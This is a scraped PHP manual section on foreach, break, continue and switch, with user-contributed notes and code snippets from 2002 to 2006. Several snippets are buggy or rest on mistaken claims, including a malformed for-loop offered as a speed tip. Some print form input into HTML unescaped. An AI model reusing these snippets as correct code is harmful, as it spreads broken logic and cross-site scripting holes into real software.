The middle part of the for loop is evaluated every time it loops which means the count function is called as many times as it loops. It's always better (performance/speed wise) to put the count as the initialization code:

function foo($x) {
   global $arr; // some Array
   for($i=count($arr)-1;; $i>=0; $i++) {
     if($arr[$i][0] == $x) {
         echo $arr[$i][1]."\n";
         foo($arr[$i][0]);
     }
   }
}
mike at invertedmind dot com
18-Jun-2005 02:24
One great use of foreach is for recursive function calls.  It can handle things that would otherwise need to be hand-coded down to the desired level, which can make for hard-to-follow nesting.

<?
   /*
       May you never be forced to deal with a structure
       like this in real life...
   */
   $items = array(
       -1,
       0,
       array(
           array(1,2,3,4),
           array(5,6,7,8),
           array(9,10,11,12)
       ),
       array(
           array("a", "b", "c"),
           array("d", "e", "f"),
           array("g", "h", "i")
       )
   );

   print_array($items, 0);

   function print_array($arr, $level)
   {
       $indent = str_repeat("&nbsp;", $level * 4);

       foreach ($arr as $item)
       {
           if (is_array($item))
           {
               print $indent . "Item is an array...<br>\n";
               print_array($item, $level + 1);
           }
           else
               print $indent . "Value at current index: " . $item . "<br>\n";
       }
   }

?>

This will output:

Value at current index: -1
Value at current index: 0
Item is an array...
   Item is an array...
       Value at current index: 1
       Value at current index: 2
       Value at current index: 3
       Value at current index: 4
   Item is an array...
       Value at current index: 5
       Value at current index: 6
       Value at current index: 7
       Value at current index: 8
   Item is an array...
       Value at current index: 9
       Value at current index: 10
       Value at current index: 11
       Value at current index: 12
Item is an array...
   Item is an array...
       Value at current index: a
       Value at current index: b
       Value at current index: c
   Item is an array...
       Value at current index: d
       Value at current index: e
       Value at current index: f
   Item is an array...
       Value at current index: g
       Value at current index: h
       Value at current index: i

And it could recurse as far as you want it to go.
30-May-2005 01:17
How To Use References In Foreach Safely And Sanely In PHP 4.

There are two really really important points to remember about foreach and references:
1. foreach makes a copy
2. references (and unset!) work by directly manipulating the symbol table

In practice, this means that if you have an array of objects (or arrays) and you need to work on them *in-place* in a foreach loop, you have to do this:

<?php
foreach( $object_list as $id => $the_object ) {
   $the_object = & $object_list[$id]; // Re-assign the variable to point to the real object
   ....
   unset($the_object); // Break the link to the object so that foreach doesn't copy the next one on top of it.
}
?>

This really works. I have used it in dozens of places. Yes, you need it all, including the unset(). You will get extremely hard-to-find bugs if you leave out the unset().

Static.
dave at davedelong dot com
29-May-2005 06:42
A "cheap" way to sort a directory list is like so  (outputs HTML, one indent is 3 non-breaking spaces):

<?php
function echo_Dir($dir, $level) {
   //create an empty array to store the directories:
   $dirs = array();
   //if we were given a directory to list...
   if (is_dir($dir)) {
       //and if we can open it...
       if ($handle = opendir($dir)) {
           //change directory:
           chdir($dir);
           //iterate through the directory
           while (false !== ($file = readdir($handle))) {
               if ($file != "." && $file != "..") {
                   if (is_dir($file)) {
                       //only add legit directories to the array
                       array_push($dirs,$file);
                   }//end if
               }//end if
           }//end while
           //sort the array
           sort($dirs);
           //NOW handle each directory via a foreach loop
           foreach ($dirs as $i => $file) {
               $to_echo = str_repeat("\t",$level+1) . str_repeat("&nbsp;",$level*3) . $file . "<br>";
               echo $to_echo;
               echo_Dir($file,$level+1);
           }//end foreach
           //return to the parent directory
           chdir("../");
       }//end if
       //close the handle
       closedir($handle);
   }//end if
}//end function
?>

For an example of what this outputs, check out http://www.davedelong.com/php/echodir.php
mark at myipower dot com
26-May-2005 10:10
Here is a solution to an earlier comment I found that worked well for me. It only goes 4 deep on a complex array or object but could go on forever I would imagine.

foreach($_SESSION as $value => $lable1){
   echo "The elements of Value1 <B>" . $value . "</B> is <B>" . $lable1 . "</B><br/>\n";
   if(is_array($lable1) || is_object($lable1)) {
       foreach($lable1 as $value2 => $lable2){
           echo "The elements of Value2 <B>" . $value2 . "</B> is <B>" . $lable2 . "</B><br/>\n";
           if(is_array($lable2) || is_object($lable2)) {
               foreach($lable2 as $value3 => $lable3){
                   echo "The elements of Value3 <B>" . $value3 . "</B>is <B>" . $lable3 . "</B><br/>\n";
                   if(is_array($lable3) || is_object($lable3)) {
                       foreach($lable3 as $value4 => $lable4){
                           echo "The elements of Value4 <B>" . $value4 . "</Bis <B>" . $lable4 . "</B>><br/>\n";
                       }
                   }
               }
           }
       }
       echo "<br>";
   }
}
flobee at gmail dot com
22-May-2005 04:32
be aware! take the note in the manual serious: "foreach operates on a copy of the specified array"
when working with complex systems you may get memory problems because of all this copies of arrays.

i love this function (easy to use) and use it more often than "for" or "while" functions but now i have really problems on this and finally found the reason (which can be a mess to find out)!
the sum of memory usage sometimes can be *2 than you really need.
flobee at gmail dot com
22-May-2005 04:31
be aware! take the note in the manual serious: "foreach operates on a copy of the specified array"
when working with complex systems you may get memory problems because of all this copies of arrays.

i love this function (easy to use) and use it more often than "for" or "while" functions but now i have really problems on this and finally found the reason (which can be a mess to find out)!
the sum of memory usage sometimes can be *2 than you really need.
wrm at metrushadows dot com
22-May-2005 01:10
Another example for printing out arrays.

<?php

$array = array(
1 => 'milk',
2 => 'eggs',
3 => 'bread'
);

foreach ($array as $array => $value) {
           echo "$value<br />";
}

?>
fred at flintstone dot com
21-May-2005 12:40
<?
You can easily use FOREACH to show all POST and GET variables from a form submission

function showpost_and_get()
 {
  print "<hr><h2>POST</h2><br>";
  foreach($_POST as $varName => $value)
  {
   $dv=$value;
     $dv=$value;
     print "Variable: $varName Value: $dv<br>";
   };

  print "<hr><h2>GET</h2><br>";
  foreach($_GET as $varName => $value)
  {
   $dv=$value;
     print "Variable: $varName Value: $dv<br>";
   };

 }
Paul Chateau
17-May-2005 02:01
I had the same problem with foreach() and a recursiv function. If you don't want to spend about 1 or 2 hours to solve this problem, just use for() loops instead of foreach().
Some Example:

$arr[] = array(1,"item1");
$arr[] = array(2,"item2");
$arr[] = array(1,"item3");
//$arr[] = ...

//doesn't work
function foo($x) {
   global $arr; // some Array
   foreach($arr as $value) {
     if($value[0] == $x) {
         echo $value[1]."\n";
         foo($value[0]);
     }
   }
}

//just use this
function foo($x) {
   global $arr; // some Array
   for($i=0; $i < count($arr); $i++) {
     if($arr[$i][0] == $x) {
         echo $arr[$i][1]."\n";
         foo($arr[$i][0]);
     }
   }
}

Paul
badbrush at pixtur dot de
16-May-2005 01:22
another WARNING about report #26396 having status "wont fix":

Beware of using foreach in recursive functions like...

function sort_folders(&$items, $parent,$level) {
   foreach($items as $item) {
     if($item->parent == $parent) {

         print $item;
         // call recursively...
         sort_folders(&$items, $item, $level+1);
       }
   }
}

I struggled a few hours with this code, because I thought the passing the array by reference would be the problem. Infact you can only have ONE foreach for an array at any given time. A foreach inside another foreach does not work.

The manual should definately give some hints about this behaviour.

 pixtur
Michael T. McGrew
13-May-2005 01:11
This can be used to creat a list of urls for a nav bar or links section etc. If you draw the values of array from a mysql database it can be very usefull.

<?php
$arr = array(news, events);
foreach ($arr as $value) {
   echo "<tr><td>Manage <a href=\"./".$value.".php\">".$value."</a></td></tr>";
}
?>
will return
<tr>
<td>Manage <a href="./news.php">news</a>
</td>
</tr>
<tr><td>Manage <a href="./events.php">events</a>
</td>
</tr>
Elvin
24-Apr-2005 04:10
I wrote this code to add each post from a user to every users' txt file. But it only adds the message to the last user in users.txt. The reason of that is...(questmark)

<?php
session_start();
header("Cach-control:private");

$name=$_SESSION['name'];

$nameframe=$name.".txt";
$message=$_POST['message'];

$wierdchars = array("\'", "\"", "\\", ":-)", ":-D", ":-p", ":-(", "=p", ">:0", ":-[", ":-/", ":-\\", ":-X", ":-?", "B-)");

$newchars = array (stripslashes("\'"), stripslashes("\""), "\\", "<img src='smile.gif'>", "<img src='opensmile.gif'>", "<img src='tounge.gif'>", "<img src='sad.gif'>", "<img src='tounge.gif'>", "<img src='yelling.gif'>", "<img src='embarrased.gif'>", "<img src='sosoleft.gif'>", "<img src='sosoright.gif'>", "<img src='quiet.gif'>", "<img src='confused.gif'>", "<img src='cool.gif'>");

$newmessage=str_replace($wierdchars, $newchars, $message);

$fontcolor=$_POST['fontcolor'];

$fontsize=$_POST['fontsize'];

$fontface=$_POST['fontface'];

$users=file("users.txt");

foreach($users as $user)
 {
$nameframed=$user.".txt";
$thefile=file_get_contents($nameframed);
$file=fopen($nameframed, "w+");
$body=$name."|".$newmessage."\n";
$body2=$body.$thefile;
$write=fwrite($file,$body2);
fclose($file);
 }
echo "<html><head><title>Adding info...</title>";
echo "<script>window.location='frame.php';</script>";
echo "</head>";
echo "<!--Removes ads form page</head><body>";
?>
ldv1970
27-Mar-2005 09:53
To the 18-Mar-2005 03:05 post:

See URL: http://bugs.php.net/bug.php?id=30914

The behaviour you describe is incorrect, but the problem might not be with PHP itself.
19-Mar-2005 04:05
It seems that foreach returns different variable types depending on which syntax you use and which version of PHP you are running.

If you use this syntax:

       foreach($array as  $key => $val) {

then the $val variable is a string (or whatever the actual value in the array is).

But if you use this syntax:

       foreach($array as  $val) {

then it appears that the $val variable is an array in PHP 4.3.10, and it is a string (or whatever) in versions 4.3.1, 4.3.2, and 4.3.6 (I haven't tested any other version).
xardas@spymac com
19-Feb-2005 11:35
Quote:
-------------------------
It makes sense, since you cannot call only keys from an array with foreach().
-------------------------
Why not?
<?php
foreach(array_keys($array) as $string)
{
print 'array key is '.$string;
}
?>
14-Dec-2004 11:29
This is a summary of bug report #26396 having status "wont fix", so the following is not a bug (report), but may need extra highlighting so the novice programmer (like me) can make sense of the second note given above.

Note:  Also note that foreach operates on a copy of the specified array and not the array itself. Therefore, the array pointer is not modified as with the each() construct, and changes to the array element returned are not reflected in the original array. However, the internal pointer of the original array is advanced with the processing of the array. Assuming the foreach loop runs to completion, the array's internal pointer will be at the end of the array.

<?
$myArray = array("a", "b");

foreach($myArray as $anElement) {
  foreach($myArray as $anotherElement) {
   echo $anotherElement;
  }
}
?>

results in "abab", as each foreach works on a copy of $myArray.

However:

<?
$myArray = array("a", "b");

function b() {
  global $myArray;

  foreach($myArray as $anotherElement) {
   echo $anotherElement;
  }
}

function a() {
  global $myArray;

  foreach($myArray as $anElement) {
   b();
  }
}

a();
?>

results in "ab", ie. both foreach work on the same instance of $myArray because it is referenced as a global variable. Nevertheless, to the casual observer both variants seem equivalent and therefore should produce the same output.
gardan at gmx dot de
08-Oct-2004 03:21
(PHP 5.0.2)
Pay attention if using the same variable for $value in both referenced and unreferenced loops.

$arr = array(1 => array(1, 2), 2 => array(1, 2), 3 => array(1, 2));
foreach($arr as &$value) { }
foreach(array(1,2,3,4,5) as $value) { }
echo $test[3];

What happens here is that after the first foreach() loop, you have in $value a reference to the last element of $arr (here: array(1, 2)).

Upon entering the second foreach(), php assigns the value. Now value is assigned to where $value (which is still a reference) points, that is, the last element of $arr.

Your output will be "5", not the expected "Array". To be on the safe side, unset($value) before entering the next foreach().
Scarab <scarab_at_scarab_dot_name>
29-Jun-2004 09:43
It is possible to suppress error messages from foreach, using type casting:
<?
foreach((array)$myarr as $myvar) {
...
}
?>
turadg at berkeley dot edu
22-May-2004 08:19
The documentation above says "the internal pointer of the original array is advanced with the processing of the array".

In my experience, it's more complicated than that.  Maybe it's a bug in 4.3.2 that I'm using.

If the array variable is created by =& assignment, then it works as described.  You can use current() within the loop to see the next element.

If the array variable is created by an = assignment, the foreach() doesn't advance the pointer.  Instead you must use next() within the loop to peek ahead.

The code below demonstrates.  On my system, the output is the same for both blocks, though one uses next() and the other current().

<?php
$originalArray = array("first", "second", "third", "fourth", "fifth");

print "the array:\n";
print_r($originalArray);

print "\noriginalArray with next():\n";
foreach ($originalArray as $step) {
   $afterThis = next($originalArray);
   print "$step,$afterThis\n";
}

$aliasArray =& $originalArray;

print "\naliasArray with current():\n";
foreach ($aliasArray as $step) {
   $afterThis = current($aliasArray);
   print "$step,$afterThis\n";
}
?>
scott at slerman dot net
18-Apr-2004 11:27
Apparently the behavior of foreach with classes changed in PHP5. Normally, foreach operates on a copy of the array. If you have something like

<?php
foreach ($array as $value){
   $value = "foo";
}
?>

the original array will not be modified. However, testing this code on PHP5RC1

<?php

class foobar {

   var $a;
   var $b;

   function foobar(){
       $this->a = "foo";
       $this->b = "bar";
   }
}

$a = new foobar;
$b = new foobar;
$c = new foobar;

$arr = array('a' => $a, 'b' => $b, 'c' => $c);

foreach ($arr as $e){
   $e->a = 'bah';
   $e->b = 'blah';
}

var_dump($arr);

?>

resulted in the following output:

array(3) {
  ["a"]=>
  object(foobar)#1 (2) {
   ["a"]=>
   string(3) "bah"
   ["b"]=>
   string(4) "blah"
  }
  ["b"]=>
  object(foobar)#2 (2) {
   ["a"]=>
   string(3) "bah"
   ["b"]=>
   string(4) "blah"
  }
  ["c"]=>
  object(foobar)#3 (2) {
   ["a"]=>
   string(3) "bah"
   ["b"]=>
   string(4) "blah"
  }
}

It would seem that classes are actually passed by reference in foreach, or at least that methods are called on the original objects.
jazfresh at hotmail dot com
18-Feb-2004 02:50
There is a really really big pitfall to watch out for if you are using "foreach" and references.

Recall this example:
<?
$a = "Hello";
$b =& $a;  // $b now refers to "Hello"
$b = "Goodbye"; // BOTH $a and $b now refer to "Goodbye"
?>

This also applies to the loop variable in a foreach construct. This can be a problem if the loop variable has already been defined as a reference to something else.

For example:
<?
// Create some objects and store them in an array
$my_objects = array();
for($a = 0; $a < $num_objects; $a++) {
  $obj =& new MyObject();
  $obj->doSomething();
  $my_objects[] =& $obj;
}

// later on in the same function...
foreach($my_objects as $obj) { // Note that we are trying to re-use $obj as the loop variable
  $obj->doSomethingElse();
}
?>

When the "for" loop exits, $obj is a reference to the last MyObject that was created, which is also the last element in the "my_objects" array.

On every iteration, the foreach loop will do the equivalent of:

<?
$obj = $my_objects[$internal_counter++];
?>

$obj will now refer to the appropriate element in the array.

But recall the reference example at the top. Because $obj was already defined as a reference, any assignment to $obj will overwrite what $obj was referring to. So in other words, on every foreach loop iteration, the last element in the array will be overwritten with the current array element.

To avoid this problem, either use a differently named loop variable, or call "unset()" on the loop variable before you begin the foreach().

It would be more intuitive PHP unset() the loop variable before a foreach began, maybe they'll put that in a later version.
andy at barbigerous dot net
07-Feb-2004 02:05
For dual iteration, the internal pointers may need resetting if they've been previously used in a foreach.

<?PHP

for(
     $someArray1.reset(),
     $someArray2.reset();
     list(, $someValue1 ) = each( $someArray1 ) ,
     list(, $someValue2 ) = each( $someArray2 )
     ;
) {

 echo $someValue1;
 echo $someValue2;

}

?>
thomas dot kaarud at netcom dot no
03-Feb-2004 09:41
A more elegant way to do this, without involving new arrays or making PHP5-specific code, would be:

<?php
foreach ($a as $x => $a) {
   echo "$b[$x] : $a"; }
?>
Joseph Kuan
15-Jan-2004 01:42
<?php
Or use array_combine.

$c = array_combine($a, $b)
foreach($c as $aKey => $bVal) {
   echo $aKey;
   echo $bVal;
}
?>
endofyourself at yahoo dot com
02-Jan-2004 07:36
If you are trying to do something like:

<?PHP

foreach(
     $someArray1 as $someValue1 ,
     $someArray2 as $someValue2
) {

 echo $someValue1;
 echo $someValue2;

}

?>

Pleas note that this IS NOT possible (although it would be cool). However, here is another way to acheive a similar effect:

<?PHP

for(
     ;
     list(, $someValue1 ) = each( $someArray1 ) ,
     list(, $someValue2 ) = each( $someArray2 )
     ;
) {

 echo $someValue1;
 echo $someValue2;

}

?>
php at electricsurfer dot com
23-Apr-2003 04:33
[Ed Note:  You can also use array_keys() so that you don't have to have the $value_copy variable --alindeman at php.net]

I use the following to modify the original values of the array:

<?php
foreach ($array as $key=>$value_copy)
{
     $value =& $array[$key];
     // ...
     $value = 'New Value';
}
?>
ian at NO_SPAM dot verteron dot net
02-Jan-2003 07:29
Note that foreach is faster than while! If you can replace the following:

<?php
reset($array);
while(list($key, $val) = each($array))
{
  $array[$key] = $val + 1;
}
?>

...with this (although there are functional differences, but for many purposes this replacement will behave the same way)...

<?php
foreach($array as $key => $val)
{
  $array[$key] = $val + 1;
}
?>

You will notice about 30% - 40% speed increase over many iterations. Might be important for those ultra-tight loops :)
18-Sep-2002 12:06
"Also note that foreach operates on a copy of the specified array, not the array itself, therefore the array pointer is not modified as with the each() construct and changes to the array element returned are not reflected in the original array."

In other words, this will work (not too expected):
foreach ($array as $array) {
   // ...
}

While this won't:
while (list(, $array) = each($array)) {
   // ...
}
add a note add a note

后退 | 起点 | 前进
for | 上一级 | break


break

break 结束当前 for，foreach，while，do-while 或者 switch 结构的执行。

break 可以接受一个可选的数字参数来决定跳出几重循环。

<?php
$arr = array('one', 'two', 'three', 'four', 'stop', 'five');
while (list (, $val) = each($arr)) {
    if ($val == 'stop') {
        break;    /* You could also write 'break 1;' here. */
    }
    echo "$val<br />\n";
}

/* Using the optional argument. */

$i = 0;
while (++$i) {
    switch ($i) {
    case 5:
        echo "At 5<br />\n";
        break 1;  /* Exit only the switch. */
    case 10:
        echo "At 10; quitting<br />\n";
        break 2;  /* Exit the switch and the while. */
    default:
        break;
    }
}
?>

add a note add a note User Contributed Notes
traxer at gmx dot net
30-Dec-2005 10:53
vlad at vlad dot neosurge dot net wrote on 04-Jan-2003 04:21

> Just an insignificant side not: Like in C/C++, it's not
> necessary to break out of the default part of a switch
> statement in PHP.

It's not necessary to break out of any case of a switch  statement in PHP, but if you want only one case to be executed, you have do break out of it (even out of the default case).

Consider this:

<?php
$a = 'Apple';
switch ($a) {
   default:
       echo '$a is not an orange<br>';
   case 'Orange':
       echo '$a is an orange';
}
?>

This prints (in PHP 5.0.4 on MS-Windows):
$a is not an orange
$a is an orange

Note that the PHP documentation does not state the default part must be the last case statement.
develop at jjkiers dot nl
13-Jul-2005 05:06
To php_manual at pfiff-media dot de:

This is only possible with PHP5, because <PHP5 doesn't have a proper exception infrastructure.
php_manual at pfiff-media dot de
14-Mar-2005 10:21
instead of using the while (1) loop with break like suggested in an earlier note, I would rather recommend throwing an exception, e.g.:

<?php
try {
 $query = "SELECT myAttr FROM myTable";
  $db = DB::connect($dbUrl);
if (DB::isError($db)) {
   throw new Exception("Connection failed");
  }
  /* ... */
} catch (Exception $e) {
  echo "Error: ".$e->getMessage()."</br>";
}
?>
Ilene Jones
22-Feb-2005 05:08
For Perl or C programmers...

break is equivelant to last

while(false ! == ($site = $d->read()) ) {
  if ($site === 'this') {
     break;  // in perl this could be last;
  }
}
abodeman at yahoo
18-May-2004 02:28
The use of "break n" to break out of n enclosing blocks is generally a pretty dangerous idea. Consider the following.

Let's say you have a text file that contains some lines of text, as most text files do. Let's also say that you are writing a little piece of PHP to parse each line and interpret it as a string of commands. You might first write some test code just to interpret the first character of each line, like this:

<?php
$num = 0;
$file = fopen("input.txt", "r");
while (!feof($file)) {
   $line = fgets($file, 80);
   switch ($line{0}) {
       // Arbitrary code here--the details aren't important
       case 'i': // increment
           echo ++$num." ";
           break;
       case 'f': // find factors
           for ($factor = 1; $factor <= $num; ++$factor) {
               if ($num % $factor == 0) {
                   echo "[".$factor."] ";
                   // stop processing file if 7 is a factor
                   if ($factor == 7)
                       break 3; // break out of while loop
               }
           }
   }
}
fclose($file);
?>

So, now that you have this magnificent piece of test code written and working, you would want to make it parse all the characters in each line. All you have to do is put a loop around the switch statement, like so:

<?php
$num = 0;
$file = fopen("input.txt", "r");
while (!feof($file)) {
   $line = fgets($file, 80);
   for ($i = 0; $i < strlen($line); ++$i) {
       switch ($line{$i}) {
           // Arbitrary code here--the details aren't important
           case 'i': // increment
               echo ++$num." ";
               break;
           case 'f': // find factors
               for ($factor = 1; $factor <= $num; ++$factor) {
                   if ($num % $factor == 0) {
                       echo "[".$factor."] ";
                       // stop processing file if 7 is a factor
                       if ($factor == 7)
                           break 3; // break out of while loop
                   }
               }
       }
   }
}
fclose($file);
?>

(Of course, you changed "$line{0}" to "$line{$i}", since you need to loop over all the characters in the line.)

So now you go and try it out, and it doesn't work. After a bunch of testing, you discover that when 7 is a factor, the code stops processing the current line, but continues to process the remaining lines in the file. What happened?

The problem is the "break 3;". Since we added another loop, this doesn't break out of the same loop it did before. In a small program like this, it's not too difficult to find this problem and fix it, but imagine what it would be like if you have thousands of lines of PHP with a numbered break statement hidden in the mess somewhere. Not only do you have to find it, you also have to figure out how many layers you want to break out of.

Unfortunately, PHP doesn't really offer any alternative to numbered break statements. Without line labels, there's no way to refer to a specific loop. There is also no "goto" statement in PHP. You could kludge your way around things with something like
<?php
do {
   // some code
   if ($condition)
       break;
   // some more code
} while (FALSE);
?>
or
<?php
switch ($dummy) {
   default:
       // some code
       if ($condition)
           break;
       // some more code
}
?>
but these sorts of tricks quickly add an enormous amount of clutter to your code.

Thus, the moral of the story is simply to be very careful when using numbered break statements. The numbered break statement is one of the few language features that can break silently when other code is changed.
2et at free dot fr
17-Mar-2004 09:48
If you need to execute a sequence of operations, where each step can generate an error, which you want to interrupt the sequence and you don't want to have an incrementing if...then...else/elseif indenting like this:

<?php
// Level 0 indenting.
$query = "SELECT myAttr FROM myTable";
$db = DB::connect($dbUrl);
if (DB::isError($db)) {
   // Level 1 indenting.
   echo "Error: Connection failed.<br/>";
} else {
   $dbResult = $db->query($query);
   if (DB::isError($dbResult)) {
       // Level 2 indenting.
       echo "Error: Query failed.<br/>";
   } else {
       // ...
   }
}
?>

First, elseif can be used to prevent indent level increase by replacing:

<?php
--
} else {
   $dbResult = $db->query($query);
   if (DB::isError($dbResult)) {
       // Level 2 indenting.
--
by
--
} elseif (DB::isError($dbResult = $db->query($query))) {
   // Level 1 indenting SUCCESS!
--
?>

However, it's not possible every time, because you can't reasonably put everything between the else and the if keywords in the if condition like above. Therefore, I suggest the following little trick using while and break:

<?php
while(1) {
// Level 1 indenting.
   $query = "SELECT myAttr FROM myTable";
   $db = DB::connect($dbUrl);
   if (DB::isError($db)) {
       // Level 2 indenting.
       echo "Error: Connection failed.<br/>";
       // Exit sequence.
       break;
   }
   // Back to level 1.
   $dbResult = $db->query($query);
   if (DB::isError($dbResult)) {
       // Level 2 indenting.
       echo "Error: Query failed.<br/>";
       // Exit sequence.
       break;
   }
   // Back to level 1.
   // ...
   // Quit while.
   break;
}
?>

Using do { ... } while(0) is even better, because the last break keyword can be removed.

Note: If you intend to use other statements using break (while, switch, for, foreach...) in the while(1) { ... } statement (or do while...), you can still exit using break's argument:

<?php
while (1) {
   while(cond) {
       if (error) {
           break 2;
       }
   }
}
?>
jody at redstarmedia dot org
05-Mar-2004 12:06
If you are careful about repeating code when using multiple cases that pretty much do the same thing, you can use multiple cases for one block of code / one break. Below is an example.
<?php
switch($var)
  {
     case 'foo':
     case 'bar':
           //Processing code
     break;
  }
?>
vlad at vlad dot neosurge dot net
04-Jan-2003 05:21
Just an insignificant side not: Like in C/C++, it's not necessary to break out of the default part of a switch statement in PHP.
add a note add a note

后退 | 起点 | 前进
foreach | 上一级 | continue


continue

continue 在循环结构用用来跳过本次循环中剩余的代码并在条件求值为真时开始执行下一次循环。

注: 注意在 PHP 中 switch 语句被认为是可以使用 continue 的一种循环结构。

continue 接受一个可选的数字参数来决定跳过几重循环到循环结尾。

<?php
while (list ($key, $value) = each($arr)) {
    if (!($key % 2)) { // skip odd members
        continue;
    }
    do_something_odd($value);
}

$i = 0;
while ($i++ < 5) {
    echo "Outer<br />\n";
    while (1) {
        echo "&nbsp;&nbsp;Middle<br />\n";
        while (1) {
            echo "&nbsp;&nbsp;Inner<br />\n";
            continue 3;
        }
        echo "This never gets output.<br />\n";
    }
    echo "Neither does this.<br />\n";
}
?>

省略 continue 后面的分号会导致混淆。以下例子示意了不应该这样做。

<?php
  for ($i = 0; $i < 5; ++$i) {
      if ($i == 2)
          continue
      print "$i\n";
  }
?>

希望得到的结果是：

0
1
3
4

可实际的输出是：

2

因为 print() 调用的返回值是 int(1)，看上去作为了上述可选的数字参数。

add a note add a note User Contributed Notes
Rene
19-Feb-2006 04:24
(only) the reason that is given on the "Continue with missing semikolon" example is wrong.

the script will output "2" because the missing semikolon causes that the "print"-call is executed only if the "if" statement is true. It has nothing to to with "what" the "print"-call would return or not return, but the returning value can cause to skip to the end of higher level Loops if any call is used that will return a bigger number than 1.

<?php
continue print "$i\n";
?>

because of the optional argument, the script will not run into a "unexpected T_PRINT" error. It will not run into an error, too, if the call after continue does return anything but a number.

i suggest to change it from:
because the return value of the print() call is int(1), and it will look like the optional numeric argument mentioned above.

to
because the print() call will look like the optional numeric argument mentioned above.
net_navard at yahoo dot com
26-Dec-2005 01:01
Hello firends

It is said in manually:
continue also accepts an optional numeric argument which tells it how many levels of enclosing loops it should .

In order to understand better this,An example for that:
<?php

/*continue also accepts an optional numeric argument which
   tells it how many levels of enclosing loops it should skip.*/

for($k=0;$k<2;$k++)
{//First loop

   for($j=0;$j<2;$j++)
   {//Second loop

     for($i=0;$i<4;$i++)
     {//Third loop
   if($i>2)
   continue 2;// If $i >2 ,Then it skips to the Second loop(level 2),And starts the next step,
   echo "$i\n";
       }

   }

}

?>

Merry's christmas :)

With regards,Hossein
dedlfix gives me a hint
28-Jan-2005 10:47
a possible solution for
greg AT laundrymat.tv

I've got the same problem as Greg
and now it works very fine by using
return() instead of continue.

It seems, that you have to use return()
if you have a file included and
you want to continue with the next loop
greg AT laundrymat.tv
15-Jan-2005 12:58
You using continue in a file included in a loop will produce an error.  For example:

//page1.php
for($x=0;$x<10;$x++)
   {
   include('page2.php');
}

//page2.php

if($x==5)
   continue;
else
   print $x;

it should print

"012346789" no five, but it produces an error:

Cannot break/continue 1 level in etc.
www.derosetechnologies.com
11-May-2004 11:58
In the same way that one can append a number to the end of a break statement to indicate the "loop" level upon which one wishes to 'break' , one can append a number to the end of a 'continue' statement to acheive the same goal. Here's a quick example:

<?
   for ($i = 0;$i<3;$i++) {
       echo "Start Of I loop\n";
       for ($j=0;;$j++) {

           if ($j >= 2) continue 2; // This "continue" applies to the "$i" loop
           echo "I : $i J : $j"."\n";
       }
       echo "End\n";
   }
?>

The output here is:
Start Of I loop
I : 0 J : 0
I : 0 J : 1
Start Of I loop
I : 1 J : 0
I : 1 J : 1
Start Of I loop
I : 2 J : 0
I : 2 J : 1

For more information, see the php manual's entry for the 'break' statement.
CelloG at phpdoc dot org
02-May-2003 09:55
continue works for:

do
while
switch
for
foreach
add a note add a note

后退 | 起点 | 前进
break | 上一级 | switch


switch

switch 语句和具有同样表达式的一系列的 IF 语句相似。很多场合下需要把同一个变量（或表达式）与很多不同的值比较，并根据它等于哪个值来执行不同的代码。这正是 switch 语句的用途。

注: 注意和其它语言不同，continue 语句作用到 switch 上的作用类似于 break。如果在循环中有一个 switch 并希望 continue 到外层循环中的下一个轮回，用 continue 2。

下面两个例子使用两种不同方法实现同样的事，一个用一系列的 if 语句，另一个用 switch 语句：

例子 16-1. switch 结构

<?php
if ($i == 0) {
    echo "i equals 0";
} elseif ($i == 1) {
    echo "i equals 1";
} elseif ($i == 2) {
    echo "i equals 2";
}

switch ($i) {
    case 0:
        echo "i equals 0";
        break;
    case 1:
        echo "i equals 1";
        break;
    case 2:
        echo "i equals 2";
        break;
}
?>

例子 16-2. switch 结构可以用字符串

<?php
switch ($i) {
case "apple":
    echo "i is apple";
    break;
case "bar":
    echo "i is bar";
    break;
case "cake":
    echo "i is cake";
    break;
}
?>

为避免错误，理解 switch 是怎样执行的非常重要。switch 语句一行接一行地执行（实际上是语句接语句）。开始时没有代码被执行。仅当一个 case 语句中的值和 switch 表达式的值匹配时 PHP 才开始执行语句，直到 switch 的程序段结束或者遇到第一个 break 语句为止。如果不在 case 的语句段最后写上 break 的话，PHP 将继续执行下一个 case 中的语句段。例如：

<?php
switch ($i) {
    case 0:
        echo "i equals 0";
    case 1:
        echo "i equals 1";
    case 2:
        echo "i equals 2";
}
?>

这里如果 $i 等于 0，PHP 将执行所有的 print 语句！如果 $i 等于 1，PHP 将执行后面两条 print 语句。只有当 $i 等于 2 时，才会得到“预期”的结果――只显示“i equals 2”。所以，别忘了 break 语句就很重要（即使在某些情况下故意想避免提供它们时）。

在 switch 语句中条件只求值一次并用来和每个 case 语句比较。在 elseif 语句中条件会再次求值。如果条件比一个简单的比较要复杂得多或者在一个很多次的循环中，那么用 switch 语句可能会快一些。

在一个 case 中的语句也可以为空，这样只不过将控制转移到了下一个 case 中的语句。

<?php
switch ($i) {
    case 0:
    case 1:
    case 2:
        echo "i is less than 3 but not negative";
        break;
    case 3:
        echo "i is 3";
}
?>

一个 case 的特例是 default。它匹配了任何和其它 case 都不匹配的情况，并且应该是最后一条 case 语句。例如：

<?php
switch ($i) {
    case 0:
        echo "i equals 0";
        break;
    case 1:
        echo "i equals 1";
        break;
    case 2:
        echo "i equals 2";
        break;
    default:
        echo "i is not equal to 0, 1 or 2";
}
?>

case 表达式可以是任何求值为简单类型的表达式，即整型或浮点数以及字符串。不能用数组或对象，除非它们被解除引用成为简单类型。

switch 支持替代语法的流程控制。更多信息见流程控制的替代语法一节。

<?php
switch ($i):
    case 0:
        echo "i equals 0";
        break;
    case 1:
        echo "i equals 1";
        break;
    case 2:
        echo "i equals 2";
        break;
    default:
        echo "i is not equal to 0, 1 or 2";
endswitch;
?>

add a note add a note User Contributed Notes
scott at firefallpro dot com
22-Dec-2005 04:01
It's has already been mentioned indirectly in a few posts, but it is important to realize that switch statements evaluate each case with the "==" operator by default. This can lead to unexpected results when comparing strings to integers, because PHP will convert the string to an integer. In many cases this means a string can be equivalent to the integer 0.

Example:
<?php
$x = 0;

switch($x) {
case "a":
   echo "a";
   break;
case "b":
   echo "b";
   break;
default
   echo "default";
}
?>

The result will be an "a" echoed out. What PHP does in this instance, is once it realizes that it's attempting to compare string ("a") to an integer (0), it converts "a" into an integer which ends up satisfying the first case.

The rules for string conversion into integers is available at:
http://us3.php.net/manual/en/language.types.string.php

The easiest way to combat this issue is to force type comparison by using the "===" operator. This makes PHP forego the string to integer conversion.

Example:
<?php
switch(true) {
case $x === "a":
   echo "a";
   break;
case $x === "b":
   echo "b";
   break;
default
   echo "default";
}
?>

Or the switch input can be type-casted to always be a string, etc.

